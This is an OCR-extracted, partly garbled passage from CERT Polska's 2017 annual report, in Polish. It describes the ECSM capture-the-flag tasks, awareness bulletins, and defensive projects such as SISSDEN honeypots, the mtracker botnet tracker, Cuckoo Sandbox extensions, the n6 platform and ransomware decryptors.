Polska stara sie ze swoimi aktywnos$ciami trafi¢

do bardziej zaawansowanych uzytkownikoéw oraz
specjalistow bezpieczenstwa teleinformatycz-

nego. Dlatego co roku w pazdzierniku odbywa sie
konferencja SECURE, a na stronach CERT Polska
organizowany jest konkurs z zadaniami typu

Capture The Flag. W 2017 uczestnicy, ktorzy brali
udziat w konkursie, musieli rozwigzaé¢ 5 zadan.

Zadanie “Czerwony Exploit” wymagato przeprowa-
dzenia analizy probki ztosliwego oprogramowania.
Dzieki inzynierii wstecznej (wymagajacej znajomosci
kodu maszynowego x86) mozna byto dowiedzie¢
sie, w jaki sposéb prébka komunikuje sie z serwe-
rem zarzadzajacym. Skonfigurowanie w odpowiedni
sposéb Srodowiska, w ktérym uruchomiona zostata
prébka, pozwalato na uzyskanie flagi.

“Fatszywa faktura” réwniez byta zadaniem z kate-
gorii inzynierii wstecznej. Tym razem nalezato
przeanalizowac dropper, czyli program, ktéry
pobiera i uruchamia ztosliwe oprogramowanie.
Pomimo ze uczestnicy konkursu otrzymywali tylko
jeden plik do analizy, musieli wykaza¢ sie dobrag
znajomoscia az trzech jezykéw: Batch, JScript

i VBScript.

Do rozwigzania zadania “Podwodjne uwierzytelnia-
nie” z kategorii dotyczacej bezpieczenstwa aplikacji
internetowych, potrzebna byta znajomo$¢ najczest-
szych btedéw popetnianych podczas pisania stron
w jezyku PHP. Na koniec nalezato wykorzystaé
podatnos$¢ wstrzykniecia do zapytania SQL.

W ramach inicjatyw Europejskiego Miesigca Bezpieczenstwa Cybernetycznego
podnosimy Swiadomos$c¢ na temat cyberbezpieczenstwa i nowoczesnych
technologii. Naszym celem jest nie tylko przestrzeganie przed potencjalnymi
zagrozeniami, ale réwniez promowanie odpowiedzialnego korzystania z sieci.
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W zadaniu “Memo Service” réwniez nalezato
pokona¢ zabezpieczenie autoryzacji w serwisie inter-
netowym za pomoca podatnosci SQL Injection, lecz
w potaczeniu z manipulacja plikéw cookies przegla-
darki. Samo zadanie z kolei wykorzystywato jezyk
Python oraz napisany w nim framework Flask.

Ostatnie zadanie “Przepetnienie stosu” polegato na
odtworzeniu zaszyfrowanego pliku przez ransom-
ware. Rozwigzujacy zadanie otrzymali réwniez

informacje, ze kod stuzacy do szyfrowania zostat
pozyskany z konkretnego projektu w serwisie
GitHub. Po przeanalizowaniu kodu nalezato zauwa-
zy¢ w nim btad, pozwalajacy na odszyfrowanie
plikéw bez znajomosci klucza.

Chetni nadal moga zmierzy¢ sie z zadaniami na
stronie internetowej konkursu: ecsm2017.cert.pl.
Petne opisy rozwigzan zadan znajduja sie na naszym
blogué.

Biuletyn “OUCH!”

CERT Polska nieprzerwanie od 2011 roku kontynuuje
misje podnoszenia Swiadomosci polskich czytelnikéw
miesiecznika “OUCH!". Biuletyn niezmiennie cieszy
sie duzym zainteresowaniem na $wiecie, co potwier-
dza liczba jego wersji jezykowych, ktorych aktualnie
jest 29.

Kazdy z numerow porusza aspekty otaczajacej nas
technologii, jej bezpieczenstwa, a co najwazniejsze -
zagrozen dla uzytkownika. W 2017 roku czytelnicy
“OUCH!" mogli dowiedziec¢ sie miedzy innymi jak
tworzy¢ dobre hasta i korzystac z ich menadzeréw,
jak tworzy¢ kopie zapasowe i odzyskiwac dane,
bezpiecznie podrézowac czy robi¢ zakupy online.
“OUCH!" nie porusza zaawansowanych aspektow
technicznych. Nie wymaga od czytelnika fachowej
wiedzy czy doswiadczenia w cyberbezpieczenstwie.

W 2017 roku czytelnicy “OUCH!” mogli
dowiedziec sie miedzy innymi...

@

=
—*

... jak tworzy¢ dobre hasta i korzystac z ich menadzerow,
jak tworzy¢ kopie zapasowe i odzyskiwac dane,
bezpiecznie podrézowac czy robi¢ zakupy online.

Celem kazdej publikacji jest przede wszystkim
przyblizenie wrazliwych punktéw uzytkowania tech-
nologii, ktére bardzo czesto sg wykorzystywane
przez przestepcéw. Wraz ze wzrostem $wiadomosci
o zagrozeniach zmniejszy sie skutecznos¢ atakow.

Kazdy numer “OUCH!” jest konsultowany oraz
wspoéttworzony przez ekspertéw SANS Institute.
CERT Polska jest odpowiedzialny za polski przektad
magazynu oraz za adaptacje tresci do polskiego
rynku. “OUCH!” jest udostepniony na licencji
Creative Commons BY-NC-ND 3.0, co oznacza,

ze biuletyn moze by¢ dowolnie rozpowszechniany
w kazdej organizacji, pod warunkiem, ze nie jest
wykorzystywany w celach komercyjnych. Wszystkie
polskie wydania mozna znalez¢ pod adresem:
http:/www.cert.pl/ouch.

8 https:/www.cert.pl/rozwiazania-zadan-z-konkursu-cap-
ture-the-flag-w-ramach-ecsm-2017/
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Projekty

Zespot CERT Polska realizuje wiele projektow o roznym charakterze - od
badawczo-rozwojowych po inzynieryjne - majgcych na celu przede wszystkim
stworzenie nowych metod oraz narzedzi do mierzenia, monitorowania i zwal-
czania rozpoznawanych przez nas zagrozen. Projekty prowadzone sg zwykle
przy wspotpracy z innymi dziatami Paristwowego Instytutu Badawczego
NASK, a takze w ramach krajowych i miedzynarodowych konsorcjéw.
Niniejszy rozdziat podsumowuje postepy w najwazniejszych projektach,

w ktérych bierzemy udziat.

SISSDEN

W ubiegtym roku kontynuowali$my prace w ramach
projektu badawczo-rozwojowego SISSDEN,

w ktérym NASK petni role koordynatora duzego
europejskiego konsorcjum. Jednym z gtéwnych
celéw projektu jest stworzenie ogélnoswiatowe;j
sieci sond zbierajacych informacje o atakach na
ustugi sieciowe. Zebrane w ten sposob dane beda
wykorzystywane do biezgcego monitorowania
metod i Zrodet atakdow, w tym do analizowania
aktywnosci botnetéw.

W 2017 roku zakoniczono prace nad architekturg
systemu oraz okreslono sposoby udostepniania
danych dla zewnetrznych odbiorcéw. W kwietniu
nastgpito uruchomienie pierwszego prototypu
systemu, bazujacego na dwoch rodzajach honey-
potow do zbierania szczegétowych informacji

o atakach. Informacje pozyskane przez sondy
SISSDEN s3 dystrybuowane przez Shadowserver
do wtascicieli sieci i CSIRT-6w krajowych w celu
eliminacji Zrodet zagrozen (szczegétowe informa-
cje o darmowych raportach udostepnianych przez
Shadowserver: https:/www.shadowserver.org/wiki/
pmwiki.php/Services/Drone-BruteForce).

Do korica roku podtaczono ponad 70 sond zloka-
lizowanych w réznych sieciach. Do konca projektu
(kwiecien 2019) planowane jest zwiekszenie tej
liczby do ponad 200 oraz integracja kilkunastu
réznych rodzajéw honeypotow, aby dowiedziec sie
jak najwiecej o rozmaitych metodach atakéw.

W kontekscie SISSDEN istotng role odgrywa
rozwijana przez CERT Polska platforma zbiera-
nia, przetwarzania i udostepniania informacji né
(patrz: str. 36). Instancja systemu né dedykowana
na potrzeby projektu jest wykorzystywana do
normalizacji danych z honeypotéw. Drugie zasto-
sowanie né to pozyskiwanie informacji z wielu
zrédet publicznych w celu ich korelacji ze zdarze-
niami bezpieczenstwa zebranymi przy uzyciu sond
SISSDEN, co pozwoli na lepsza klasyfikacje obserwo-
wanych atakéw.

Szczegbtowe informacje o projekcie oraz biezace
analizy znajduja sie na oficjalnej stronie: https:/
sissden.eu/. Aktualnosci s réwniez publikowane na
Twitterze (@sissden).

Najistotniejsze narzedzia stworzone przez NASK
w ramach projektu to automatyczna analiza darknetu
i mtracker. Przedstawiamy je w szczegdtach ponizej.

Projekt SISSDEN otrzymat finansowanie z Programu
Ramowego Unii Europejskiej Horyzont 2020
(H2020-DS-2015-1) w ramach grantu nr 700176.

Automatyczna analiza darknetu

Wspélnie z Pionem Badan i Rozwoju NASK zaim-
plementowalismy system do analizy ruchu przy
uzyciu darknetu (tzw. network telescope, czyli zbiér
nieuzywanych adreséw IP, wykorzystywanych do
monitorowania podejrzanej aktywnosci w internecie).
Opracowane metody pozwalajg na automatyczng


https://www.shadowserver.org/wiki/pmwiki.php/Services/Drone-BruteForce
https://www.shadowserver.org/wiki/pmwiki.php/Services/Drone-BruteForce
https://sissden.eu/
https://sissden.eu/
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klasyfikacje i grupowanie zdarzen takich jak ataki
DoS czy wiele rodzajéw atakéw sieciowych.

Z koricem 2017 roku system wdrozono do pracy

ciggtej w uzyciu operacyjnym, co jest duzym osia-
gnieciem z uwagi na znaczna ilos¢ pozyskiwanych
danych.

Waznym elementem systemu jest autorski modut
analizujacy PGA (Packet Generation Algorithm).
Pozwala on na wykrywanie algorytmow generacji
pakietéw wytacznie na podstawie obserwacji ruchu
sieciowego. Umozliwia tym samym identyfikacje
ztosliwego oprogramowania uzywanego do skano-
wania lub przeprowadzania atakéw DoS. Nie jest to
prosty system regutowy - zastosowano zaawanso-
wany algorytm, ktéry wykrywa wiele réznych typéw
zaleznosci miedzy poszczegdlnymi polami nagtow-
kéw pakietéw w ramach danej grupy, a nastepnie
konstruuje regute na tej podstawie.

Analiza danych z darknetu pozwolita na zaob-
serwowanie wielu interesujacych incydentéw

i nietypowych zjawisk oraz na stworzenie sygnatur
atakéw uzywanych przez wiele z obecnie aktywnych
botnetow.

mtracker

Botnety stanowig bardzo interesujgce zagadnie-

nie dla analitykow ztosliwego oprogramowania.
Jednym z elementéw walki z tym zjawiskiem, oprécz
nieustannych préb unieszkodliwiania botnetéw,

jest dogtebna analiza, ktéra pozwala zrozumieé
wewnetrzne mechanizmy dziatania tego typu sieci.
Analizujemy prébki ztosliwego oprogramowania,
stos protokotéw sieciowych wykorzystywanych

w komunikacji z serwerami C&C i innymi elementami
botnetu, a takze strukture samych sieci. Efektem
tego typu analiz jest uzyskanie cennych informacji,
takich jak injecty (skrypty osadzane w przegladarce
ofiary wykorzystywane w botnetach bankowych),
szablony spamu (w botnetach spamowych), a takze
prébki innych rodzin ztos$liwego oprogramowania,
dystrybuowanych w ramach botnetu.

Aby usystematyzowad pozyskiwanie informacji

z botnetow, stworzyliSmy projekt mtracker. Dzieki
analizom ztosliwego oprogramowania, pozyskaliémy
obszerne informacje na temat funkcjonowania i proto-
kotéw komunikacji wielu rodzin malware'u. Wiedza

ta pozwolita nam na symulowanie dziatania rzeczy-
wistych botéw i samodzielne komunikowanie sie

z serwerami C&C przy uzyciu opracowanych przez nas
skryptéw. Catoscé zintegrowaliSmy w ramach spéjnego
systemu, ktérego celem jest pozyskanie jak najwiek-
szej ilosci danych z wielu botnetéw.

—

Opis dziatania

Podtoze projektu stanowit zbiér luzno powigzanych ze sobg skryptéow, ktére miaty pobiera¢ webinjecty

z serwerdéw trojandw bankowych. Skrypty mozna byto podzieli¢ na dwie kategorie. Pierwszy rodzaj - “ripper”
byt projektem umozliwiajacym wycigganie réznych elementéw konfiguracji zapisanych w prébkach malware,
takich jak adresy serwerow C&C, klucze do szyfrowania komunikacji czy ziarno dla algorytméw generowa-

nia domen. Zazwyczaj tego typu informacje sg wystarczajace, aby przy pomocy drugiej kategorii skryptow
(“mtracker”) rozpocza¢ komunikacje ze ztosliwym oprogramowaniem. Schemat dziatania zblizony byt do przed-

stawionego na ponizszym diagramie:

s i & 4 &

static config

malware sample ripper

mtracker webinjects
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Rozwiazanie sprawdzato sie bardzo dobrze, z czasem jednak zauwazyliémy, ze probki, z ktérych pozyskiwali-
Smy statyczna konfiguracje, ulegaja dezaktualizacji. Na szcze$cie sam botnet zazwyczaj dostarcza nowe wersje
malware. Postanowili$my wprowadzi¢ mate zmiany w architekturze:

-
ﬂ__> —
—

malward sample ripper static config mtrgcker

"fresh" malware

System zyskat w miare dobrg stabilnos¢, wiec postanowilismy p6js¢ o krok dalej. W tym czasie koncentrowali-
$my sie réwniez na botnetach P2P. Zaczeli$my zbiera¢ coraz wiecej informaciji.

peers

o i S - e
malwar@ sample ripper static config mtracker webinjects

= =

“fresh" malware spam

Wraz z rosnacg liczbg skryptow, zaczeli$my generowaé duzo ruchu, ktéry nie mégt pozostac niezauwazony
przez operatoréw botnetéw. Wielokrotnie konczyto sie to blokowaniem adreséw IP, z ktérych wychodzilismy.
Czesto réwniez przeprowadzana przez skrypty komunikacja nieznacznie réznita sie od tej, ktérg uzyskiwaliSmy
z prawdziwych prébek, co utatwiato identyfikacje naszego ruchu. Z tego powodu musielismy wzbogacic archi-
tekture o sie¢ serwerdw proxy.

—
peers
ﬁ
malwarg sample ripper config database binjects
proxy 3

“fresh" malware spam
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Od tego momentu wszystkie kampanie sg sledzone niezaleznie, przy pomocy zbioru serwerdw proxy. Rozwia-
zanie to pozwolito nam réwniez na sledzenie geolokalizowanych kampanii. Czesto bowiem zdarza sie, ze
probka badz serwer sprawdza lokalizacje zainfekowanych komputerdw i jesli jest ona niezgodna, program
przerywa dziatanie. Jednym z przyktadéw oprogramowania stosujacego geolokalizacje jest Dridex. Dodatkowo
serwery C&C czasem stanowig ukryte ustugi w sieci Tor, co wymaga komunikowania sie za po$rednictwem
proxy podtaczonego do tej sieci.

Ostatnig zmiang byto wzbogacenie naszego systemu o funkcje powiazane z DNS. Niejednokrotnie ztosliwe
oprogramowanie korzysta z alternatywnych root DNS-6w (takich jak Namecoin z domenami w TLD .bit), przez
co musieli$my do skryptéw dostarczy¢ réwniez alternatywne resolvery.

Inna zmiang, powiazang z DNS, byto uzupetnienie resolvera o dane z pasywnego DNS. Bardzo czesto domeny
C&C sg zdejmowane przez organy $cigania lub inne zespoty CERT zaraz po rozpoczeciu kampanii. Mimo tego
serwer ciggle odpowiada na zadania pod swoim oryginalnym adresem IP. Postugiwanie sie w tym wypadku
danymi historycznymi, pozwala na lepsze sledzenie dziatania botnetu.

ﬂ—>

pdns dns resglvers

- o
.

config database

malwarg sample ripper

-
w

"fresh" malware spam

Catos$¢ zarzadzana jest przez webowy interfejs, ktéry umozliwia monitorowanie i analize rezultatéw pracy
systemu.

milracker

Dashboard

cpu load
uptime
db load

# via

1332 | ramnin 5905069106/0522 (4662)

1331 == ramnit SO0566910610522 (4664)

1330 "= ramnh 55105659 1064522 (4665)

1328 . smokelonder.593855201061855¢

(268%)

1328 o trickbot 5801856010685
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Zalety i wady rozwiazania

Najczesciej spotykanym podejsciem do analizy ruchu sieciowego ztos$liwego oprogramowania jest tzw.
sandboxing, czyli uruchamianie prébek w kontrolowanym, odizolowanym srodowisku i obserwowanie ich
zachowania. Ponizszy diagram prezentuje uproszczony schemat komunikacji zainfekowanej maszyny:

proxy server

for criminals Encrypted config Internet

and files peers

2 = &

capture / MITM / Block

malicious activity

infected machine user
(or sandbox)

Stosowanie sandboxdw w przypadku tego typu analiz ma wiele zalet:

® prostota - nie wymaga szczegotowej wiedzy na temat analizowanego oprogramowania i inzynierii
wstecznej,

® uniwersalno$¢ - podobne podejscie mozna zastosowac niezaleznie od rodzaju oprogramowania,

e stabilnos¢ - ztosliwe oprogramowanie czesto na biezaco otrzymuje aktualizacje, co pozwala nam $ledzi¢
botnet przez dtugi czas.

Niestety rozwigzanie ma réwniez wiele wad, ktére utrudniajg wykonywanie tego typu analiz na wieksza skale:

e trudnosci w skalowaniu (konieczno$¢ utrzymywania wielu wirtualnych $rodowisk jednoczes$nie)

e jesli nie zostang podjete dodatkowe Srodki bezpieczenstwa, ztosliwe oprogramowanie, bedace elementem
botnetu, moze brac udziat w szkodliwej dziatalnosci, np. stanowi¢ proxy dla przestepcéw czy rozsytaé spam,

® nie kazda zmiana w botnecie jest widoczna natychmiast w zachowaniu, np. zmiany konfiguracji przy typo-
wej analizie behawioralnej moga ujawnic sie dopiero po pewnym czasie.
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Ze wzgledu na wskazane wady, w naszym projekcie rozwigzaliSmy ten problem w inny sposéb:

| C&C server \

Encrypted config and files

CIED mtracker workers
peer IP Decrypted iniect new malware new C&C
addresses configuration Injects samples IP addresses
CEIED  mitracker Ul
‘ researchers

Poniewaz posiadamy sporo informacji na temat komunikacji ztosliwego oprogramowania z reszta botnetu,
zdecydowali$my sie samodzielnie zaimplementowac stos protokotéw kilku rodzin ztosliwego oprogramowania,
by moc bezposrednio komunikowad sie z ich serwerami. Stosowane przez nas podejscie jest lekkie (skrypty
nie wymagajg duzych naktadéw mocy obliczeniowej) i tatwo sie skaluje. Ponadto przy zastosowaniu wtasnych
skryptéw nie generujemy ztosliwego ruchu, poniewaz otrzymywane polecenia od botmastera sg analizowane,
a nie wykonywane.

Niestety nasze rozwigzanie réwniez nie jest pozbawione wad. Utrzymywanie skryptéw dla wcigz zmieniaja-
cych sie botnetow wymaga duzej pracy reverse-engineerdw i programistow. Kluczowa jest tu réwniez ciggtosc
dziatania catego systemu, aby moc pobierac¢ wszelkiego rodzaju aktualizacje i analizowac je na biezaco. Mimo
to przy odpowiednim naktadzie pracy i koszcie prawdopodobnie duzo nizszym niz w przypadku sieci niezalez-
nych sandboxéw, udaje sie uzyska¢ zadowalajace wyniki.
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Wyniki

Uzyskane rezultaty sg efektem dziatania wielu niezaleznych projektow. Dysponujemy kilkoma systemami zbie-
rajgcymi surowe dane, ktére sg nastepnie fagczone jako dane wejsciowe do mtrackera. Pozwala to zgromadzié
przydatne informacje, ktérymi mozna sie podzieli¢ z innymi analitykami (injecty webowe, szablony spamowe itd.)

Najwazniejsze informacje dostarcza ripper, uzyskujac z prébek konfiguracje statyczne, ktére moga by¢ uzyte
do $ledzenia serwerow C&C. Ponizszy diagram pokazuje iloSciowy udziat pozyskanych unikalnych konfiguracji
z podziatem na rodziny ztosliwego oprogramowania:

Supported families (kind of;):

M onliner; 0.08%
M emotet_spam: 0.18%
I trickbot: 1.20%
M smokeloader: 1.76%
B flokibot: 0.05%
M Kkbot: 0.30%
M emotet: 0.81%
hint: 0.60%
7 slave: 0.92%
isth: 22.51%
nymaim: 3.76%
J cryptowall: 0.14%
W bublik: 0.20%
! madlocker: 0.20%
M iceix: 0.01%
finba: 2.16%
W vawtrak: 2.09%
W zeus: 1.90%
W kegotip: 0.01%
M tinba dga: 10.52%

lokibot: 0.09%
M quantloader: 0.29%
sendsafe: 0.76%
M necurs: 0.36%
W gootkit: 0.48%
M odinaff: 0.03%
M dridex-worker: 0.30%
! zloader: 1.53%
W azorult: 0.09%
M tofsee: 0.15%
M shifu: 0.11%
B mmbb: 0.21%
% locky: 7.97%
M netwire: 0.33%
M evil-pony: 0.69%
1 dyre: 2.73%
B kins: 0.37%
sage: 0.03%
1 citadel: 2.10%
¥ chthonic: 0.71%
W vmzeus: 1.11%

W pushdo: 0.16%

M kovter: 0.52%

W panda: 1.70%

M cerber: 1.20%

W cryptomix: 0.39%

M jaff: 0.01%

M pony: 3.87%

M teslacrypt: 0.38%

M cryptoshield: 0.26%
torment: 0,14%

W hancitor; 1.45%

M globeimposter: 0.14%

M torrentlocker: 0.38%

M ruckguv: 0.05%

! andromeda: 0.86%

M kronos: 1.77%
ramnit: 0.30%
dridex: 3.69%

B bunitu: 0.03%

M vmzeus2: 12.87%

Oczywiscie nie wszystkie te rodziny byty aktywne bez przerwy. Lepszy poglad na historie $ledzonego ztosli-

wego oprogramowania daje nastepny diagram:
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W teorii mogliby$my sledzi¢ wszystkie te rodziny, ale ze wzgledu m.in. na ograniczone srodki i czas, skon-
centrowali$my sie jedynie na kilku z nich. Historia konfiguracji, ktore udato nam sie pobrac (pogrupowana po
rodzinie):

Kolejny diagram przedstawia skutecznos¢ pozyskiwania konfiguracji w czasie, z podziatem na kampanie (0$
pionowa w ramach danej rodziny):

— = = o e = b= I
| -
[5] o JESE—— O R
tofsee.— . — r——
nymaim. e m—smsaf— v

pe——1 ]
smokeloader__ ____ _sese= st SR —2 e = o . -

g — ———

NECUMNS_ . . o ™™

hanCitor__ — - —amamps e o oS == -_— o = — — - v
/. s

p4 .
o >
trickbot : ~ j
QOOK | e —
emotet . o= _— e

Uzyskane rezultaty sg efektem dziatania wielu niezaleznych projektéw. Dysponujemy kilkoma systemami zbie-
rajacymi surowe dane, ktére sg nastepnie taczone jako dane wejsciowe do mtrackera. Pozwala to zgromadzi¢
przydatne informacje, ktérymi mozna sie podzieli¢ z innymi analitykami (injecty webowe, szablony spamowe itd.)
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Najwazniejsze informacje dostarcza ripper, uzyskujac z prébek konfiguracje statyczne, ktére mogg by¢ uzyte
do sledzenia serweréw C&C. Ponizszy diagram pokazuje iloSciowy udziat pozyskanych unikalnych konfiguracji
z podziatem na rodziny ztosliwego oprogramowania:

Supported families (kind of:):

lokibot: 0.09%
M quantloader: 0.29%
sendsafe: 0.76%
M necurs: 0.36%
W gootkit: 0.48%
M odinaft: 0.03%
W dridex-worker: 0.30%
! Zloader: 1.53%
W azorult: 0.09%
M tofsee: 0.15%
M shifu: 0.11%
B mmbb: 0.21%
I locky: 7.97%
M netwire: 0.33%
M evil-pony: 0.60%
M dyre: 2.73%
W kins: 0.37%
sage: 0.03%

M onliner: 0.08%
M emotet_spam: 0.18%
I trickbot: 1.20%
M smokeloader: 1.76%
M flokibot: 0.05%
M khot: 0.30%
M emotet: 0.81%
hint: 0.60%
[l slave: 0.92%
isfh: 22.51%
nymalm: 3.76%
d cryptowall: 0.14%
W bublk: 0.20%
! madiocker: 0.20%
M iceix: 0.01%
tinba: 2.16%
W vawtrak: 2.09%
M zeus: 1.90%

W pushdo: 0.16%

M kovier: 0.52%

W panda: 1.70%

M cerber: 1.20%

W cryptomix: 0.39%

M jaff: 0.01%

W pony: 3.87%

M tesiacrypt: 0.38%

& cryptoshield: 0.26%
torment: 0.14%

W hancitor: 1.45%

M globeimposter: 0.14%

W torrentlocker: 0.38%

M ruckguv: 0.05%

| andromeda: 0.86%

M kronos: 1.77%
ramnit: 0.30%
dridex: 3.69%

W bunitu: 0.03%
B vmzeus2: 12.87%

1 citadel: 2.10%
& chihonic: 0.71%
W vmzeus: 1.11%

W kegotip: 0.01%
M tinba_dga: 10.52%

Projekt i uzyskane rezultaty prezentowane byty na konferencji Botconf 2017 oraz na naszej konferen-
cji SECURE?°. Informacje na temat analiz ztosliwego oprogramowania, ktére przyczynity sie do powstania
systemu mtracker, mozna znalez¢ na stronie CERT Polska®?.

SOASP W ramach projektu bedziemy realizowa¢ wiele dzia-
tan, z ktérych najistotniejsze to:
W ubiegtym roku rozpoczeli$my realizacje projektu
SOASP (Strengthening operational aspects of
cyber-security capacities in Poland). Jego celem jest
zwiekszenie mozliwosci operacyjnych i analitycz-
nych CERT Polska, w szczegdlnosci w kontekscie
obowigzkéw wynikajacych z implementacji dyrek-
tywy NIS i przysztej ustawy o krajowym systemie ® Rozwdj platformy né (patrz str. 30). Poza
cyberbezpieczenstwa. dodaniem nowych funkgji, rozpoczeliSmy przygo-
towania do wydania catego oprogramowania na
otwartej licencji.

® ZacieSnienie wspotpracy w ramach sieci euro-
pejskich CSIRT-6w krajowych (CSIRTs Network,
wiecej informacji: https:/www.enisa.europa.eu/
topics/csirts-in-europe/capacity-building).

9 https:/botconf2017.sched.com/event/CtHO/use-your-
enemies-tracking-botnets-with-bots

10 https:/www.secure.edu.pl/
11 https:/www.cert.pl/


https://botconf2017.sched.com/event/CtH0/use-your-enemies-tracking-botnets-with-bots
https://botconf2017.sched.com/event/CtH0/use-your-enemies-tracking-botnets-with-bots
https://www.secure.edu.pl/
https://www.cert.pl/
https://www.enisa.europa.eu/topics/csirts-in-europe/capacity-building
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® Rozwodj sandboxa Cuckoo (wiecej informacii:
https://cuckoosandbox.org/). Prowadzimy prace
nad zaawansowang analizg statyczna szkodliwego
oprogramowania, pozwalajgcg wydoby¢ statyczne
konfiguracje botow.

Projekt SOASP jest dofinansowany przez Agen-
cje Wykonawczg ds. Innowacyjnosci i Sieci
(INEA) Unii Europejskiej w ramach programu CEF
(Connecting Europe Facility) Telecom, numer akgji
2016-PL-1A-0127.

SOASP - Rozszerzenie funkcji Cuckoo Sandbox

Cuckoo Sandbox to popularny system zautomatyzo-
wanej analizy ztosliwego oprogramowania dostepny
jako open-source®?. Dzieki projektowi SOASP udato
sie sfinansowac badania nad rozszerzeniem zestawu
jego funkgji, z ktdrych znaczna czesc pierwotnie
zostata wdrozona w systemach wewnetrznych
zespotu CERT Polska.

Prace obejmuja gtéwnie stworzenie technik wspo-
magajacych analize statyczng prébek ztosliwego
oprogramowania, z naciskiem na przetwarzanie
rozpakowanych plikéw binarnych. Opracowywane
funkcje maja takze umozliwia¢ zdobywanie konfigu-
racji statycznej, np. adreséw IP i nazw domenowych
serwerow Command and Control, kluczy szyfruja-
cych komunikacje czy ziaren algorytmow DGA.

Dodatkowo wzmocniono zabezpieczenia sandboxa
przed technikami omijajgcymi monitorowanie aktyw-
nosci ztosliwego oprogramowania, w tym obrone
przed odpinaniem monitorowania wywotan funkgcji

i bibliotek (unhooking).

Celem prac jest takze stworzenie modutéw do
deszyfracji komunikacji oraz zapewnienie mozliwosci
stosowania regut Yara, gdy wystgpia zdefiniowane
wywotania systemowe.

Rozszerzone funkcje beda dostepne w gtéwnej gatezi
kodu zrédtowego Cuckoo Sandbox, stajgc sie tym
samym oprogramowaniem o otwartym zrodle. W ten
sposéb chcemy podzieli¢ sie naszymi dokonaniami ze
spotecznoscig badaczy ztosliwego oprogramowania.

12 https://cuckoosandbox.org/

Bl

—

SOASP

- Strengthening operational
aspects of cyber-security
capacities in Poland

o/_/°

iy CEL

- zwiekszenie mozliwosci
operacyjnych

i analitycznych
CERT Polska
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né

né to stworzona przez
CERT Polska platforma

stuzaca do gromadzenia,
przetwarzania i przekazywania w sposdb automa-
tyczny informacji o zdarzeniach bezpieczenstwa
w sieci. Jej celem jest efektywne, niezawodne

i szybkie dostarczenie duzych ilosci informacji

o zagrozeniach wtascicielom, administratorom

i operatorom sieci.

Dane o bezpieczenstwie sieciowym w né pochodza
z wielu zrédet, takich jak inne CERT-y, organizacje
bezpieczenstwa czy niezalezni eksperci bezpieczen-
stwa. Istotny wktad stanowia réwniez informacje
pozyskane przez CERT Polska przy uzyciu automa-
tycznych systemdéw monitorowania oraz w wyniku
dziatan operacyjnych zespotu. Przyktady udostep-
nianych danych to: ztosliwe adresy URL, ztosliwe
oprogramowanie, zainfekowane komputery (boty),
serwery C&C, skanowania, ataki DDoS czy phishing.

W 2017 roku tacznie przetworzonych zostato ok.
440 mln zdarzen dotyczacych bezpieczenstwa
sieciowego. Z tego 230 min zgtoszenh dotyczyto
komputeréw z Polski, co stanowi niewielki wzrost
(15 proc.) wzgledem roku 2016. Doktadne statystyki
z podziatem na rodzaje zagrozen i systemy autono-
miczne, znajduja sie w ostatnim rozdziale raportu.

Pierwsza wersja né powstata w 2011 roku i od tego
czasu system jest utrzymywany i ciggle rozwijany
przez NASK. Poczawszy od roku 2017 rozwéj né
odbywa sie w ramach projektu SOASP (patrz str.
28-29). Dostep do né jest bezptatny dla kazdego
wiasciciela sieci. Wiecej informacji znajduje sie na
stronie projektu: http:/né.cert.pl/.

Forensics

Kolejnym projektem Zespotu CERT Polska jest
Zaawansowane Laboratorium Kryminalistyki
Sledczej, wspéttworzone z Zaktadem Cyberbez-
pieczenistwa Politechniki Warszawskiej w ramach
programu CyberSecldent Narodowego Centrum
Badan i Rozwoju. CyberSecldent to program badaw-
€zo-rozwojowy majacy podniesé bezpieczenstwo

cyberprzestrzeni RP poprzez zwiekszenie dostepno-
$ci rozwigzan sprzetowych i programistycznych.

W ramach projektu eksperci zespotu CERT Polska,
wspdlnie z zespotem Politechniki Warszawskiej pod
kierownictwem prof. Krzysztofa Szczypiorskiego,
opracowuja zestaw specjalistycznych narzedzi oraz
rozwigzan. Celem jest wsparcie organéw $cigania

w walce z przestepczoscia, ktdra coraz czesciej
korzysta z nowoczesnych metod komunikacji oraz
archiwizacji danych.

Projekt jest podzielony na dwie czesci: mobilng

oraz offline. Na pierwsza z nich sktadaja sie zapro-
jektowanie oraz wykonanie pojazdu rozpoznania
teleinformatycznego, wykorzystywanego przy anali-
zie sygnatow radiowych. W ramach prac powstanie
mobilna platforma analityczna sygnatéw sieci bezprze-
wodowych oraz telefonii komérkowych. Ma ona
umozliwiac lokalizacje zrédet sygnatéw radiowych.
Wyposazenie pojazdu oraz rozwigzania wchodzace

w sktad analiz mobilnych, pozwolg zabezpieczy¢

i analizowa¢ materiat dowodowy, ktérego transport ze
wzgledu na charakterystyke jest niemozliwy.

Druga czes$é projektu stanowig analizy offline,
ktérych zadaniem jest wypracowanie koncepcji

oraz stworzenie zaawansowanego laboratorium
informatyki sledczej, umozliwiajacego opracowanie
procesowe zabezpieczonego materiatu dowodowego
przekazanego do analizy. W tym celu powstanie
specjalne srodowisko wyposazone w najnowsze
rozwigzania, ktére pozwoli odzyskiwac¢ dane z zabez-
pieczonych i uszkodzonych nosnikéw.

No More Ransom

Podobnie jak w roku 2016, ransomware byto duzym
problemem zagrazajagcym bezpieczenstwu internetu.
Najwieksze i najgrozniejsze ataki ransomware, ktére
zaobserwowalismy w 2017 roku, zostaty wykonane
przez rodziny:

® NotPetya

WannaCry

Locky

Cerber

Cryptomix i jego pochodne (np. CryptoShield,
Mole)


http://n6.cert.pl/
http://n6.cert.pl/

CERT Polska
Raport Roczny 2017

nask CERT.PL

31

W zwiazku z narastajaca skalg problemu, w trze-
cim kwartale 2016 roku powstat serwis No More
Ransom, ktéry za cel postawit sobie walke z tym
zagrozeniem oraz pomoc ofiarom atakéw. Inicjato-
rami byli Europol, National High Tech Crime Unit
(holenderska narodowa jednostka policji do zaawan-
sowanej technologicznie przestepczosci), Kaspersky
Lab oraz McAfee. Podejmowane w ramach projektu
dziatania maja gtéwnie charakter edukacyjny i wska-
zuja uzytkownikom, jak unikna¢ infekcji. Serwis stuzy
réwniez do dystrybucji dekryptoréw do niekté-

rych rodzin ransomware. Bogaty zbiér materiatéw

i narzedzi mozna znalez¢ pod adresem https:/www.
nomoreransom.org/.

Inicjatywa No More Ransom ma charakter otwarty

i kazdy chetny podmiot moze podzieli¢ sie swoja
wiedza w walce z przestepcami. Jako CERT Polska
dotaczylismy do projektu 4 kwietnia 2017 roku,
udostepniajac nasze dekryptory do rodzin CryptoMix
oraz CryptoShield®3.

Po kilku miesigcach dodalismy kolejne narzedzie,
dekryptor ransomware typu Mole, ktéry nalezy do
